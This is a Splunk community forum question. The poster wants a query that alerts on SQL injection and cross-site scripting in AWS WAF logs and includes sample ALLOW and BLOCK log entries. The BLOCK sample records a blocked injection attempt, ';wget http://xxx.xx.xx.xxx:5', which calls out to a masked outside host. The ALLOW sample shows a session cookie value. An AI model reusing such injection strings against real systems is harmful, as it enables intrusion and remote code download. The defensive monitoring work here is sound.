Splunk Enterprise

AWS WAF logs SQL Injection Splunk Query

phanichintha
Path Finder

Hello,

Integrated the AWS WAF logs to Splunk, now we need to monitor the Splunk SQL Injection and Cross-Site Script attacks in Splunk.

Can any once please share the query on how to set the alerts for SQL Injection and Cross-Site Script.

Here are the Sample logs from AWS WAF logs which is from ALLOW and BLOCK action, and how to raise an incident if any one attack happen.

action: ALLOW events:
{"timestamp":1602659653929,"formatVersion":1,"webaclId":"ba8f2e58-8d58-42b6-a207-1d3e382db941","terminatingRuleId":"Default_Action","terminatingRuleType":"REGULAR","action":"ALLOW","terminatingRuleMatchDetails":[],"httpSourceName":"ALB","httpSourceId":"110604134217-app/xxxx-PROD-ALB/06b9064d5ca45468","ruleGroupList":[],"rateBasedRuleList":[],"nonTerminatingMatchingRules":[],"httpRequest":{"clientIp":"xx.xx.xxx.xx","country":"AU","headers":[{"name":"Host","value":"access.xxxxxx.com.in"},{"name":"Sec-WebSocket-Key","value":"LWyNMG9kCDp7z0UOSXpoUQ=="},{"name":"adSsoCookie","value":"O2bbUYoRhXfwrLaeD6j5mDLAG_s.*AAJTSQACMDIAAlNLABxueHBJaFYzYUVxQXg2VEdUS2Q4VllTVkQ2UzQ9AAR0eXBlAANDVFMAAlMxAAIwMQ..*"},{"name":"Sec-WebSocket-Version","value":"13"},{"name":"Sec-WebSocket-Protocol","value":"v1.notifications.xxxxxx.org"}],"uri":"/xxxxxxxx/notifications","args":"","httpVersion":"HTTP/1.1","httpMethod":"GET","requestId":"1-5f86a545-7e0faddd488b61a0746fe97d"}}

action: BLOCK events:
{"timestamp":1602647260818,"formatVersion":1,"webaclId":"ba8f2e58-8d58-42b6-a207-1d3e382db941","terminatingRuleId":"3afb3065-2ef7-41f9-9f29-972876893e09","terminatingRuleType":"REGULAR","action":"BLOCK","terminatingRuleMatchDetails":[{"conditionType":"SQL_INJECTION","location":"QUERY_STRING","matchedData":["next_file","/*;wget http://xxx.xx.xx.xxx:5"]}],"httpSourceName":"ALB","httpSourceId":"110604134217-app/xxxxxxx-PROD-ALB/..."}}

0 Karma

phanichintha
Path Finder

Anyone have an idea, please share.

0 Karma
Got questions? Get answers!

Join the Splunk Community Slack to learn, troubleshoot, and make connections with fellow Splunk practitioners in real time!

Meet up IRL or virtually!

Join Splunk User Groups to connect and learn in-person by region or remotely by topic or industry.

Get Updates on the Splunk Community!

Your Feedback. Our Roadmap. Visit the PX Feedback Booth at .conf26

You use Splunk every day, come and help shape what's next.  Save Your Seat: Product-Focused Sessions at ...

Agentic SOC Triage: Investigating Splunk ES Notables with MCP Server and a Local LLM

The Problem: Too Many Alerts, Too Little Context Security operations teams running Splunk Enterprise Security ...

Painting a Clearer Picture: Creating Cross-Domain Visibility with AI Canvas

Watch Now Painting a Clearer Picture: Creating Cross-Domain Visibility with AI Canvas     Do you ever feel ...